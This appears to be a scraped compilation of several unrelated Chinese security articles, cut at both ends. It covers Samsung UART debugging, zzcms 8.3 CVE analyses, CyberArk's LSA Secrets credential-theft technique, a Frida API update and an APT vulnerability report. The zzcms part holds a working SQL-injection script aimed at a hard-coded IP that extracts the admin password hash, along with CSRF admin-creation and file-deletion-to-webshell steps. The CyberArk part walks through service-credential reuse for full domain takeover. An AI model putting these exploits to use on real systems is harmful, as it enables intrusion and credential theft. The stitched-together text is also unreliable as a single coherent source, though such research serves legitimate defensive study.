Hat](https://media.blackhat.com/us-13/US-13-Ossmann-Multiplexed-Wired-Attack-Surfaces-WP.pdf) 演示，我们意识到三星手机以及所有的 Google Nexus手机都有一个多路复用 IC（MUIC），它位于 USB
连接器和 USB 控制器之间。通过检测 USB 连接器上的 ID 和接地直接的电阻，多路复用器在设备上切换了不同的连接路径。
公开文档有记录这两个路径的是普通的 USB 和 USB OTG。另一种模式，在公共文档中没有提到的是 UART。
The Samsung Anyway
然后调整设置，以获取该没有公开记录的 UART 的连接方式。调用的第一个端口便是[Samsung Anyway Jig](https://www.xda-developers.com/what-is-the-samsung-anyway-jig/)，这是三星比较隐秘的一个设备。这个东西通常只有三星工程师使用，很难搞到，尽管它每一段时间就会出现在 eBay 上。
显然，Anyway 只是为ID 引脚设置了几个预定义的电阻电平，并将 D+/D- 线分接到 DBUS 连接器，然后就可以通过串口 USB 适配器连接到
PC。
在 eBay 上收了个二手的，然后我测试了各种开关组合，试着让 MUIC 切换到 UART 终端模式。这在旧三星机器上管用，而我们只是成功获取到输入交互 -我们从 BootLoader 和内核获取日志，但是并没有得到终端。
在此阶段，我们决定自己制作一条临时的 UART 电缆，类似于 Joshua Drake 的 [Nexus 4 UART
](https://www.optiv.com/blog/building-a-nexus-4-uart-debug-cable)电缆。我们从 XDA
收集了一些关于 ID 引脚电阻以及相关制造商的各种数据，还从内核 DTS 文件中得到一些提示。下面假想电路图：
Our makeshift jig
由于需要控制一系列电阻，我们使用了一个可变电阻，将其设为需要的值（万用表测量），并将其连接到 S7。
jig 相当简单：RS232-to-USB 的TX / RX线连接到micro USB连接器的D/D- USB线，ID 引脚通过可变电阻连接接地引脚。
结果正确的电阻值是 619K 欧姆。设置成此电阻的时候，能够在启动设备时得到一些输出。但是并不完美，输出几行后就没反应了 - 我们仍然无法得到一个终端。
The initial UART output. Logs went silent after ifconn_com_to_open
为了深入理解问题的根源，来看看标记为 `get_initial_uart_str（0x8F006ECC` 的函数。似乎 UART
控制台只有在此函数返回非空时才会启动：
get_initial_uart_str
这里特别是 LABEL_9 ，我们可以看到 BootLoader 要求在进入控制台模式之前至少有四个连续的回车。
此时一目了然：通过连接 jig 启动时按下 “回车” 键，同时按下音量和电源按钮，我们试着清除了 `ifconn_com_to_open`
的检测和终端校验。
最后，我们的付出得到了回报：
如你所见，控制台暴露了一些非常有趣的命令。而下一篇文章将会更加有趣。
* * * | 社区文章 |
# zzcms 8.3 最新CVE漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上次我们分析了一下zzcms
8.2版本的一些漏洞，但是很快8.3版本就推出更新了，但是在更新不久，就有新的漏洞爆了出来，那就跟随大师傅们的脚步学习一下。有关8.2版本的分析在我之前发的[文章](https://www.anquanke.com/post/id/153885)。
## zzcms 的全局过滤
首先系统也使用了伪全局变量的设置，我们找到了关键的代码：/inc/stopsqlin.php
可以看到所有的代码在默认传进来的时候，会被`addslashes`转义，所以如果有单引号包围是不存在sql注入的，但是这里也容易出现问题，如果是数字型没有严密验证，或者是表名等等位置，不需要单引号闭合的位置都是很危险的，上一篇的很多的问题就是这里疏忽产生的。
## CVE-2018-13056
简单看一下漏洞说明，又是一个任意文件删除漏洞，我们在之前的文章总结中就说过了整个系统在文件处理上是很明显有问题的，那我们就来分析一下这次的问题：
漏洞点出现在 `/user/del.php` 的55行到64行
看到是从数据库中取出的img字段，然后直接判断了是不是默认值，然后检查文件存在，最后是删除，这其中并没有涉及到文件合法性检查。
那我们就可以去找一下这个字段是怎么进入数据库的：
首先找到表名，是`zzcms_main`表，然后找一下insert或者update操作，然后我们在`/user/zssave.php`中发现了有关操作。
然后查看是否经过了过滤，因为经过了伪全局过滤，这里的`$img`并没有经过任何有效过滤。
所以向数据库中插入污点数据是很简单的，只要在发布招商信息的时候，抓包，修改掉img的数据即可，这里我们测试`/install/install.lock`：
然后就可以到`/user/del.php`中去删除文件，这样就能触发删除操作。
但是这里有一个问题，就是删除的时候需要知道这一条记录在数据库中的id编号，可以采用爆破的方法来得到。
发包以后，我们刷新页面就可以发现，安装的锁文件已经被成功删除：
然后就可以配合之前的漏洞，任意文件写入拿到webshell。
## CVE-2018-14961
一个前台的sql注入漏洞，发现又是使用了`stripfxg`这个函数解除了自己的过滤，但是其实这里即使没有引号，也是可以直接注入的，下面详细分析一下：
代码出现问题是在：`/dl/dl_sendmail.php` 的 42到45行
简单整理一下逻辑就是：
所以很简单，也没有什么逻辑，可以直接注入，测试脚本如下：
#!/usr/bin/env python
#Author:Sublime
#coding:utf-8
import requests as req
url = "http://115.159.122.222:8080/dl/dl_sendmail.php"
cookies = {'UserName':'test','PassWord':'81dc9bdb52d04dc20036dbd8313ed055'}
data = { 'sql':'select email from zzcms_dl where id=-1 union select pass from zzcms_admin #'}
q = req.post(url,data,cookies=cookies,allow_redirects=False)
print q.status_code
print q.content
测试结果为：
可以成功注入出管理员的密码hash
## CVE-2018-14963
csrf漏洞，这个问题也是从上个版本就存在的问题，就是整个管理员后台的，所有表单都是没有设置csrf的token的，所以只要涉及到敏感操作的表单，都可以使用csrf来攻击，达成很多攻击利用。
这里的攻击是产生在了`/admin/adminadd.php`的添加管理员操作，构造的表单如下：
构造好了payload以后，放到vps上，然后诱导管理员点击恶意链接，即可成功添加管理员。
未添加管理员之前：
点击链接之后：
发现可以成功达到添加管理员的目的。
## CVE-2018-14962
一个存储型xss，最底层的原因还是因为调用了`stripfxg`函数，消除了自己的过滤，然后在输出的时候，导致了xss漏洞。
先看一下输出位置，在/zt/show.php 的211 行：
然后追踪这个变量的值，找到了是在用户在修改自己公司简介处添加的数据
然后我们来测试一下：
保存，然后访问一下/zt/show.php?id=1，就可以看到效果：
成功触发漏洞
其实感觉这种漏洞还是普遍存在于这个系统中的，可以顺着这个危险的函数`stripfxg`入手，逐个分析，估计还是有不少漏网之鱼。
## 后记
虽然zzcms更新了版本，但是看到很多安全问题并没有从底层去解决，有的只是暂时性的修补了一下，这样其实是不太可取的，底层的问题存在，只要在找到另外一条可以利用的通路就一样可以利用。 | 社区文章 |
# 【技术分享】窃取服务凭证以实现域完全控制
|
##### 译文声明
本文是翻译文章，文章来源：cyberark
原文地址：<http://www.cyberark.com/blog/cyberark-labs-research-stealing-service-credentials-achieve-full-domain-compromise/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **t0stmail**](http://bobao.360.cn/member/contribute?uid=138185681)
**稿费：200RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
绕过Win10系统Credential Guard防护功能，窃取服务凭证进行横向渗透。
**摘要**
CyberArk实验室团队已经发现了一种从本地安全机构（LSA）Secrets注册表配置单元得到加密的服务凭据的方法，并将它们注入到新的恶意服务中，以实现域的横向移动与完全控制。
此漏洞需要攻击者首先在受感染的计算机上获得本地管理员权限，但一旦获得了本地管理员权限，攻击者就可以利用单个加入域的机器横向渗透，最终获得对域控制器的访问权限。
此漏洞可以在Windows端利用，包括启用了Credential Guard（VSM）功能的Windows 10机器。
本博客将解释现今的服务凭证保护方法，和怎样绕过攻击，以及CyberArk实验室团队如何证明这个漏洞可以进行横向渗透。
**背景：如何保护服务凭证**
从Windows 7开始，Microsoft将凭证存储在安全注册表配置LSA Secrets注册表（HKEY_LOCAL_MACHINE /
Security /
Policy）中来开始保护服务凭据，凭据使用数据保护API（DPAPI）且通过系统密钥进行加密，一般情况只有system账户能访问，管理员是没办法的，但是，默认情况下。管理员仍然拥有对此注册表的修改权限，利用修改权限，管理员仍然可以访问LSA
Secrets，从注册表中转储凭据，或利用DPAPI进行提取。
在Windows 10中，Microsoft引入了Credential
Guard功能，旨在通过安全的位置隔离来主动保护内存中的域用户凭据，借此来缓解使用凭据或哈希进行横向移动的风险。 但是，因为Credential
Guard仅在内存中保护凭据，无法保护服务凭据。 因此，这些可能具有域访问权限的服务凭证仍保留在LSA Secrets注册表配置单元中。
**新风险**
CyberArk实验室团队最近发现，存储在LSA Secrets注册表配置单元中的加密服务凭据可泄漏，并用于实现横向移动，即使启用Windows
10中的Credential
Guard。在概念上类似于以前版本的Windows中的传递哈希漏洞，攻击者可以使用加密Secrets横向移动通过域，而不需要知道基本的凭据。
**概念证明**
我们假设这些用于合法服务的服务凭证可能被捕获并注入到恶意服务中，从而允许攻击者访问所有系统和资源，那么在Windows机器上具有本地管理员访问权限的任何恶意用户都可以重用存储的域级服务凭据以横向移动，并可能访问域控制器。
为了测试这个假设，我们从以下基准环境开始：
1\. win10计算机，本地管理员访问权限
2\. 启用Credential Guard功能
3\. 一个非管理域凭据的服务
为了测试这种情况，我们创建了一个新的空白服务，我们将尝试注入捕获这个服务凭据。 这个空白服务旨在模仿攻击者实际创建和使用的恶意服务。
**步骤1：获取LSA Secrets的访问权限**
访问LSA Secrets的第一步是授予本地管理员对安全性注册表配置单元的访问权限。 如上所述，默认情况下，此访问权限仅保留给SYSTEM用户。
但是，本地管理员具有更改此默认设置所需的权限。
Figure 1: Security registry hive default Administrator permissions
使用本地管理员权限，攻击者可以编辑权限，以授予管理员对安全性注册表配置单元（HKEY_LOCAL_MACHINE / Security）的访问权限。
一旦攻击者具有对安全性注册表配置单元的读取和写入权限，他就能够访问注册表并开始搜索服务的凭据信息。
**步骤2：搜索服务信息**
通过访问LSA Secrets注册表，接下来我们在机器搜索具有域级访问权的服务（services with domain-level
access）。注意，这些服务没有管理权限; 他们只是对同一域上的其他系统进行非管理访问。
Figure 2: Service enumeration
此查询标识了两个具有域级访问权的服务：AppVClient和tzautoupdate。 这些服务在Windows
10机器上属于基础服务，我们能够在注册表中找到他们：
HKEY_LOCAL_MACHINE/Security/Policy/Secrets/SC AppVClient
HKEY_LOCAL_MACHINE/Security/Policy/Secrets/SC tzautoupdate
我们从LSA
Secrets注册表中导出了这俩个服务的凭据信息，且并没有尝试利用DPAPI去解密。从这点上说，凭据仍被配置为仅对这些特定服务启用认证。在我们更改配置以使用我们的新服务执行测试之前，我们还需要访问服务的属性。
我们再次使用本地管理员进行访问注册表并导出与这些服务相关联的属性：
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services.
**步骤3： 更改凭据和属性进行重复使用**
如上所述，合法服务的凭据和属性都被配置为仅为其特定服务工作，这意味着我们不能重复使用它们。然而我们是否可以修改凭据和属性的配置以使他们被不同的服务使用呢，为了测试这个，我们使用上面提到的空白服务。
我们修改了服务的凭据和属性配置，以便两者都指向我们新的空白服务。
Figure 3: Service modifications
然后，我们将修改的凭据导入到空白服务的凭据中，并将修改后的属性导入到空白服务的属性中，如图4和图5所示。
Figure 4: Import modified service secrets into blank service secrets
Figure 5: Import modified service properties into blank service properties
接下来，我们在机器上启动空白服务进行测试。
我们进行域枚举以快速定位域控制器，并且我们搜索了对所有枚举域控制器具有高权限访问的服务。我们还找连接到原始受害者系统的所有其他系统。
如果受害者机器不包含任何具有域控制器访问的服务，我们还能够横向移动到其他可能包含具有更高特权的服务的机器。
**步骤4：横向移动和域完全控制**
使用服务上的信息以及网络上连接的系统的信息，我们测试了我们的空白服务，看看我们是否能够成功地实现横向移动。 结果是
“是”。使用这些不完全和重用的服务凭证，我们证明不完全的服务凭据实际上可以用于实现横向移动。
并且，每访问一个新机器，我们有可能找到在域上具有更高和更高权限的服务帐户。在每一台新机器上，我们能够重复获取凭证，修改和重复利用的过程，直到我们能够找到一个访问域控和实现完全控制的服务账户
**实际意义**
CyberArk实验室中的测试清楚地表明，在单个用户的机器上，具有本地管理员访问权限的攻击者可能会获取服务凭据，并重新用它们以实现横向移动和域的完全控制
。（即使启用了Credential Guard）。
在实际情况下，攻击者可以重复“服务凭证窃取，修改和重用”的过程，并且攻击者可以配置恶意服务以自动化该攻击以迭代步骤。在这种情况下，在一台计算机上具有本地管理员访问权限的攻击者可以在几分钟内获得整个域的完全所有权。
**缓解**
Microsoft Credential Guard不会以保护域级用户凭据的方式保护域级服务凭据。 因此，我们必须采取额外的步骤来保护和监控服务凭据的使用。
为了降低服务凭据失窃的风险以及攻击者横向移动通过网络的能力，应该采取以下步骤：
1\. 从标准用户中删除本地管理员权限
2\. 尽量在本地服务中少用域账户，除非必须
3\. 在需要时，为服务创建专用的域帐户
4\. 删除服务帐户的所有不必要的权限
5\. 通过Windows事件日志监视对敏感注册表值的所有权限更改
6\. 使用凭证盗窃检测工具来检测和阻止窃取LSA Secrets
**披露时间轴**
2016年10月25日：风险报告给微软安全响应中心
2016年10月26日：微软回应：不认为是一个有效的漏洞，因为它需要攻击者已经入侵了机器。
2016年11月16日：公开 | 社区文章 |
# FRIDA脚本系列（四）更新篇：几个主要机制的大更新
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近沉迷学习，无法自拔，还是有一些问题百思不得骑姐，把官网文档又翻了一遍，发现其实最近的几个主要版本，更新还是挺大的，遂花了点时间和功夫，消化吸收下，在这里跟大家分享。
## 进程创建机制大更新
### 存在的问题：无法为新进程准备参数和环境
当我们使用`Frida Python`的`binding`的时候，一般会这么写：
pid = device.spawn(["/bin/cat", "/etc/passwd"])
或者在iOS平台上，会这样写：
pid = device.spawn(["com.apple.mobilesafari"])
目前来看貌似用这个`API`只能这么写，这么写其实是存在很多问题的，比如说没有考虑完整参数列表的问题，或者说新进程的环境是继承自绑定的`host`机环境还是设备`client`环境？再比如想要实现定制功能，比如以关闭`ASLR`模式打开`safari`，这些都没有考虑进去。
### **问题产生的原因(一)：当初源码中就没有实现**
我们先来看看这个`API`在`frida-core`里是如何实现的：
namespace Frida {
…
public class Device : GLib.Object {
…
public async uint spawn (string path,
string[] argv, string[] envp)
throws Frida.Error;
public uint spawn_sync (string path,
string[] argv, string[] envp)
throws Frida.Error;
}
…
}
这段代码是用`vala`语言写的，`frida-core`都是用`vala`写的，`vala`看起来跟`C#`很像，并且最终会被编译成`C`代码。从代码可以看出，第一个方法——`spawan`是异步的，调用者调用一遍就可以去干其他事情了，不用等待调用完成，而第二个方法——`spawn_sync`则需要等到调用完全结束并返回。
这两个方法会被编译成如下的C代码：
void frida_device_spawn (FridaDevice * self,
const gchar * path,
gchar ** argv, int argv_length,
gchar ** envp, int envp_length,
GAsyncReadyCallback callback, gpointer user_data);
guint frida_device_spawn_finish (FridaDevice * self,
GAsyncResult * result, GError ** error);
guint frida_device_spawn_sync (FridaDevice * self,
const gchar * path,
gchar ** argv, int argv_length,
gchar ** envp, int envp_length,
GError ** error);
前两个函数组成了`spawn()`的过程，首先调用第一个获得一个回调，当获得回调之后就会调用第二个函数——`spawn_finish()`，将回调的返回值将会作为`GAsyncResult`的参数。最终的返回值就是`PID`，当然如果有`error`的话就会返回`error
no`。
第三个函数——`spawn_sync()`上面也解释了，是完全同步的，`Frida Python`用的其实就是这个。`Frida
nodejs`用的其实是前两个，因为`nodejs`里的绑定默认就是异步的。当然以后其实应该也考虑将`Frida
Python`的绑定迁移到异步的模式中来，利用`Python 3.5`版本引入的`async/await`机制。
回到上一小节那两个例子，可以发现其实调用的格式跟我们写的`API`并不完全一致，仔细看源码就会发现，像`envp`字符串列表并没有暴露给上层`API`，如果查看`Frida
Python`的绑定过程的话，就可以发现其实后来在绑定里是这样写的：
envp = g_get_environ ();
envp_length = g_strv_length (envp);
也就是说最终我们传递给`spawn()`函数的是调用者的`Python`环境，这明显是不对的，`host`的`Python`环境跟`client`的`Python`肯定是不一样的，比如像`client`是`iOS`或`Android`的情况。
当然我们在`frida-server`里做了设定，在`spawn()`安卓或者`iOS`的进程的时候，`envp`会被默认忽略掉，这或多或少减少了问题的产生。
### **问题产生的原因(二)：`spawn()`的历史遗留问题**
还有一个问题就是`spawn()`这个古老的`API`的定义——`string[] envp`，这个定义意味着不能为空（如果写成`string[]?
envp`的话其实就可以为空了），也就是说其实无法从根本上区别“用默认的环境配置”和“不使用任何环境配置”。
### 进程创建机制更新(一)：参数、目录、环境均可设置
既然决定要修这个`API`，那就干脆顺便把跟这个`API`相关的问题都来看下：
* 如何给命令提供一些额外的环境参数
* 设置工作目录
* 自定义标准输入流
* 传入平台特定的参数
修正完以上`bug`之后，最终代码会变成下面这样：
namespace Frida {
…
public class Device : GLib.Object {
…
public async uint spawn (string program,
Frida.SpawnOptions? options = null)
throws Frida.Error;
public uint spawn_sync (string program,
Frida.SpawnOptions? options = null)
throws Frida.Error;
}
…
public class SpawnOptions : GLib.Object {
public string[]? argv { get; set; }
public string[]? envp { get; set; }
public string[]? env { get; set; }
public string? cwd { get; set; }
public Frida.Stdio stdio { get; set; }
public GLib.VariantDict aux { get; }
public SpawnOptions ();
}
…
}
最后，我们回到开头的那段示例代码，本来我们是这么写的：
device.spawn(["com.apple.mobilesafari"])
现在得这样写了：
device.spawn("com.apple.mobilesafari")
第一个参数是要被`spawn`的命令，后面可以加上`argv`的字符串列表，`argv`就会被用来设定参数的命令，比如：
device.spawn("/bin/busybox", argv=["/bin/cat", "/etc/passwd"])
如果想要将默认环境替换成自己的设定的话：
device.spawn("/bin/ls", envp={ "CLICOLOR": "1" })
只更改环境变量里的一个参数：
device.spawn("/bin/ls", env={ "CLICOLOR": "1" })
更改命令的工作目录：
device.spawn("/bin/ls", cwd="/etc")
重定向标准输入流：
device.spawn("/bin/ls", stdio="pipe")
> `stdin`默认的输入是`inherit`，加上`stdio="pipe"`这个选项之后，就变成管道了。
### 进程创建机制更新(二)：利用`aux`机制实现平台特定功能
到这里我们几乎覆盖了`spawn()`的所有选项，还剩下最后一个选项——`aux`，该选项的本质是平台特定参数的一个字典。可以用`Python`绑定来设置这个参数，任何无法被前面参数捕获的键值对，都会直接放在命令行的最后面。
比如，打开`Safari`并且通知它去打开特定的`URL`：
device.spawn("com.apple.mobilesafari", url="https://bbs.pediy.com")
再比如以关闭`ASLR`的模式执行一个命令：
device.spawn("/bin/ls", aslr="disable")
再比如用特定的`Activity`来打开一个安卓的`App`：
spawn("com.android.settings", activity=".SecuritySettings")
`aux`机制让命令行可以轻松定制，这可比为每个平台单独写代码方便多了。事实上，底层代码一行都没变 ^.<
最后来看下这个`API`修改完成之后的效果，逗号后面的第二个参数就是带属性的对象，后面无法被是别的参数则全部进`aux`字典。
const pid = await device.spawn('/bin/sh', {
argv: ['/bin/sh', '-c', 'ls /'],
env: {
'BADGER': 'badger-badger-badger',
'SNAKE': true,
'MUSHROOM': 42,
},
cwd: '/usr',
stdio: 'pipe',
aslr: 'auto'
});
当然，修改完成之后，子进程的路径、参数和环境都可以置空了，这个置空已经可以区分“用默认的环境配置”和“不使用任何环境配置”了。
## 子进程插装机制大更新
### 存在的问题：子进程多线程机制混乱容易崩
首先来回顾一下，传统的`fork()`函数本来的操作是这样婶儿的，它会克隆完整的父进程空间给子进程，这个过程通常开销不大，因为有着`copy-on-write`机制，然后将子进程的进程`ID`返回给父进程，将`0`返回给子进程。
而当涉及到多线程的时候，情况就会变得复杂起来，只有调用`fork()`函数的线程，可以“存活”到子进程里面，而如果其他线程碰巧有线程锁，这些锁在子进程里将永远不会被解开。
所以说`App`如果要同时进行多线程和`fork`操作的话，必须得非常谨慎，当然大多数`App`都在`fork`进程时都是使用的单线程设计，可是在注入我们的`frida-gum`之后，该进程就变成了多线程，所以程序经常会崩溃或失去响应。还有一种情况就是拥有共享属性的文件描述符，处理的时候也需要非常非常谨慎。
在这个版本中作者花了大力气，最终解决了这个问题。作者非常鸡冻的宣布，现在`FRIDA`可以检测到即将运行`fork()`函数，临时暂停`FRIDA`的线程，暂停通讯通道，并随着`fork()`的过程一起备份，备份完成之后恢复运行。也就是说在子进程开始运行之前，我们就把想要实施的插装操作应用到子进程上了。
当然不仅仅是`fork()`，还有`execve(), posix_spawn(),
CreateProcess()`等系列子进程操作函数，这么说吧，只要是对进程实施的操作，不管是像`execve()`一样替换自身进程的，还是像`posix_spawn()`一样另起一个进程的，都会像`fork()`函数一样，由`FRIDA`先实施好插桩之后，再开始运行。
### 解决的方法：引入新的子进程控制`API`：`Child gating`
前两个问题主要就是由这个新引入的“子进程控制”的`API`来解决的，我们为拥有`create_script()`方法的`Session`对象全新加入了`enable_child_gating()`和`disable_child_gating()`这两个方法，在不显示调用新`API`的情况下，`Frida`的机制还是会跟从前一样，我们需要手动调用`enable_child_gating()`方法来切换到子进程控制的模式。
进入子进程控制模式之后，所有的子进程都会先暂停，等我们一顿操作完成之后，再对子进程的`PID`调用`resume()`来恢复子进程的运行。`Device`对象有一个叫做`delivered`的信号，我们可以在这个信号上装一个回调`callback`，这样有新的进程被产生出来的时候就会得到通知，得到通知之后立刻对新进程进行插桩等操作即可，然后调用`resume()`函数就可以恢复新进程的运行。`Device`对象还有一个新的`enumerate_pending_children()`的方法，用来列出即将产生的子进程列表，所有即将产生的子进程都会在这个表里，直到用户运行`resume()`函数恢复其运行，或者直接被
**kill** 掉。
理论讲完了，接下来实际操作一遍。下面是`host`端的`py`代码：
from __future__ import print_function
import frida
from frida.application import Reactor
import threading
class Application(object):
def __init__(self):
self._stop_requested = threading.Event()
self._reactor = Reactor(run_until_return=lambda reactor: self._stop_requested.wait())
self._device = frida.get_local_device()
self._sessions = set()
self._device.on("delivered", lambda child: self._reactor.schedule(lambda: self._on_delivered(child)))
def run(self):
self._reactor.schedule(lambda: self._start())
self._reactor.run()
def _start(self):
argv = ["/bin/sh", "-c", "cat /etc/hosts"]
print("✔ spawn(argv={})".format(argv))
pid = self._device.spawn(argv)
self._instrument(pid)
def _stop_if_idle(self):
if len(self._sessions) == 0:
self._stop_requested.set()
def _instrument(self, pid):
print("✔ attach(pid={})".format(pid))
session = self._device.attach(pid)
session.on("detached", lambda reason: self._reactor.schedule(lambda: self._on_detached(pid, session, reason)))
print("✔ enable_child_gating()")
session.enable_child_gating()
print("✔ create_script()")
script = session.create_script("""'use strict';
Interceptor.attach(Module.findExportByName(null, 'open'), {
onEnter: function (args) {
send({
type: 'open',
path: Memory.readUtf8String(args[0])
});
}
});
""")
script.on("message", lambda message, data: self._reactor.schedule(lambda: self._on_message(pid, message)))
print("✔ load()")
script.load()
print("✔ resume(pid={})".format(pid))
self._device.resume(pid)
self._sessions.add(session)
def _on_delivered(self, child):
print("⚡ delivered: {}".format(child))
self._instrument(child.pid)
def _on_detached(self, pid, session, reason):
print("⚡ detached: pid={}, reason='{}'".format(pid, reason))
self._sessions.remove(session)
self._reactor.schedule(self._stop_if_idle, delay=0.5)
def _on_message(self, pid, message):
print("⚡ message: pid={}, payload={}".format(pid, message["payload"]))
app = Application()
app.run()
然后来运行这段代码：
$ python3 example.py
✔ spawn(argv=['/bin/sh', '-c', 'cat /etc/hosts'])
✔ attach(pid=42401)
✔ enable_child_gating()
✔ create_script()
✔ load()
✔ resume(pid=42401)
⚡ message: pid=42401,
↪payload={'type': 'open', 'path': '/dev/tty'}
⚡ detached: pid=42401, reason='process-replaced'
⚡ delivered: Child(pid=42401, parent_pid=42401,
↪path="/bin/cat", argv=['cat', '/etc/hosts'],
↪envp=['SHELL=/bin/bash', 'TERM=xterm-256color', …],
↪origin=exec)
✔ attach(pid=42401)
✔ enable_child_gating()
✔ create_script()
✔ load()
✔ resume(pid=42401)
⚡ message: pid=42401,
↪payload={'type': 'open', 'path': '/etc/hosts'}
⚡ detached: pid=42401, reason='process-terminated'
$
我们重构了子进程的`hook`机制，也顺便重构了`Android App`的启动机制，移除了之前的`frida-loader-{32,64}.so`，全新的`Zygote`插桩机制会在后台承担所有的子进程控制工作，这也意味着可以对`Zygote`进行任意的插桩工作，当然得记好要调用`enable_child_gating()`来开启这这个功能，对于不需要进行插桩的子进程立即使用`resume()`来恢复其运行。
## 退出(崩溃)消息机制大更新
### 存在的问题：程序崩溃时消息来不及发出
另外一个一直以来存在的问题就是，当进程快要意外崩溃的时候，进程传给`FRIDA`的`send()`的`API`的数据，可能会来不及发出去，虽然民间也有一种解决的办法就是可以`hook`一些`exit()`或`abort()`函数，然后在`hook`的语句里进行`send()`和`recv().wait()`的`client-host`结对操作，虽然不是很优雅，但针对特定平台也是有效的。
### 解决的方法：对各大平台的停止进程`API`进行插装
针对程序意外崩溃的情况，`Frida`目前已经可以介入各大系统平台常用的停止进程的`API`，为用户做好进程崩溃时的清理工作，包含把数据发送出去。
有些脚本会把想要输出的数据在本地做个持久化然后定期通过`send()`传出去，这种情况下需要在进程即将崩溃的时候显式地将数据传输出去，我们为这种情况定制了一个`RPC`，导出名为`dispose`：
rpc.exports = {
dispose: function () {
send(bufferedData);
}
};
几个大的机制的更新先介绍到这里，应该还会有下一篇，介绍一些小的但是刁钻的，或者是理念式的变化，不要小看这些变化，对于代码来讲，every line
matters 。 | 社区文章 |
作者：[360威胁情报中心](https://mp.weixin.qq.com/s/9vmyFql871eJlYzezZjEsg "360威胁情报中心")
#### 概述
APT攻击（Advanced Persistent
Threat，高级持续性威胁）是利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。APT攻击的原理相对于其他攻击形式更为高级和先进，其高级性主要体现在精确的信息收集、高度的隐蔽性、以及使用各种复杂的目标系统/应用程序漏洞等方面。
为了能够更加全面的了解全球APT研究的前沿成果，360威胁情报中心对APT攻击中最重要的部分（APT组织所使用的安全漏洞）进行了梳理，在参考了各类APT研究报告和研究成果、APT攻击活动或APT组织最常使用的漏洞、以及漏洞的价值等几项指标后，并结合360威胁情报中心对APT攻击这类网络战的理解，筛选出近年来APT组织所使用的10大（类）安全漏洞。
在本报告中360威胁情报中心首先会阐述APT组织使用的主流漏洞的价值评定标准和各APT组织最常用的漏洞类别，这些组成了评选这10大（类）漏洞的主要观点和理由。然后针对APT组织使用的10大（类）安全漏洞选出最具代表性的单个漏洞，并对每个漏洞的背景、利用及影响范围、相关APT组织和重要事件进行介绍，之后提出对每类漏洞的防护对策和建议。最后，基于之前章节的分析，360威胁情报中心针对APT使用的漏洞发展趋势进行了总结并提出了自己的一些结论。
#### 主要观点
##### 1\. 方程式一类的顶尖APT组织所使用的漏洞攻击技术远远领先其他APT组织
方程式一类的顶尖APT组织的攻击技术、网络战思维远远领先于其他APT组织。可以将方程式一类组织的APT攻击技术划分为一类，其它组织的APT攻击技术划分为另外一类。这主要体现在顶尖的APT攻击主要是通过底层植入，攻击核心路由/防火墙等网络基础设施，攻击网络服务器等来实现定点精确打击。而其它APT组织则主要通过钓鱼类攻击配合客户端漏洞来实施APT攻击。
方程式组织 Quantum insert（量子植入）通过攻击网络基础设施实现定点打击
##### 2\. 狭义漏洞分类
我们可以狭义的将APT组织常用的漏洞分为攻击网络基础设施/服务器/服务类的漏洞和攻击客户端应用软件类的漏洞。
##### 3\. 网络基础设施/服务器/服务类漏洞
这类漏洞主要影响网络基础设施（路由交换设备、防火墙等）、服务器、各类服务（SMB/RPC/IIS/远程桌面等等）。攻击者通常可以通过使用相应的漏洞攻陷核心网络设施进而横向移动或者进一步向网络中的其它客户端植入恶意代码，危害巨大，从公开信息来看，这类漏洞主要为方程式一类的顶尖APT组织所使用。
##### 4\. 客户端软件类漏洞
这类漏洞主要通过钓鱼类攻击手段实施攻击，主要针对客户端应用软件，比如浏览器、Office办公软件、PDF等等，这类漏洞的缺点是需要目标用户交互，所以漏洞价值整体低于攻击服务端的漏洞价值。
#### APT组织十大（类）漏洞
360威胁情报中心评选出了APT组织近年来使用的10大（类）漏洞，这其中包含了2类服务端漏洞，8类客户端漏洞。服务端漏洞中包含了NSA网络武器库中的防火墙设备漏洞和“永恒之蓝”使用的SMB协议漏洞。客户端漏洞中包含了移动端Android和iOS的2类漏洞，4类微软Office软件漏洞以及Flash类漏洞和Windows提权漏洞。
360威胁情报中心将会针对每类漏洞的背景、漏洞利用、相关漏洞及影响范围、相关APT组织及事件、补丁及解决方案等分别进行介绍。
#### 一、防火墙设备漏洞
防火墙作为网络边界设备，通常不属于攻击者攻击的目标，尤其在APT领域中针对防火墙设备的漏洞就更为少见，直到2016年第一批Shadow
Broker泄露的工具中大量针对防火墙及路由设备的工具被曝光，方程式组织多年来直接攻击边界设备的活动才被彻底曝光，此处我们选择
CVE-2016-6366作为这类漏洞的典型代表。
而方程式组织的Quantum
insert（量子植入攻击工具）则正是通过入侵边界防火墙、路由设备等来监听/识别网络内的受害者虚拟ID，进而向被攻击者的网络流量中“注入”相应应用程序（比如IE浏览器）的漏洞攻击代码进行精准的恶意代码植入。
##### 1.漏洞概述
2016年8月13日客组织Shadow Brokers声称攻破了为NSA开发网络武器的黑客团队Equation
Group，并公开其内部使用的相关工具，EXBA-extrabacon工具，该工具基于0-day漏洞CVE-2016-6366，为Cisco防火墙SNMP服务模块的一处缓冲区溢出漏洞。
##### 2.漏洞详情
CVE-2016-6366（基于Cisco防火墙SNMP服务模块的一处缓冲区溢出漏洞），目标设备必须配置并启用SNMP协议，同时必须知道SNMP的通信码，漏洞执行之后可关闭防火墙对Telnet/SSH的认证，从而允许攻击者进行未授权的操作。
如下所示sub_817A5A0为对应固件中自实现的copy函数，函数内部没有检测长度，函数的调用方同样也没有对拷贝的长度进行检测，从而导致溢出。
最终可实现任意Telnet登陆：
##### 3.相关CVE
##### 4.相关APT组织
##### 5.相关APT事件
NSA针对全球范围实施的绝密电子监听计划（棱镜计划）。
##### 6.补丁及解决方案
及时更新网络边界设备固件
软件厂商思科已经发布了漏洞相应的补丁
<https://blogs.cisco.com/security/shadow-brokers>
#### 二、SMB通信协议漏洞
SMB（Server Message
Block）通信协议是微软（Microsoft）和英特尔（Intel）在1987年制定的协议，主要是作为Microsoft网络的通讯协议。
2017年4月14日Shadow
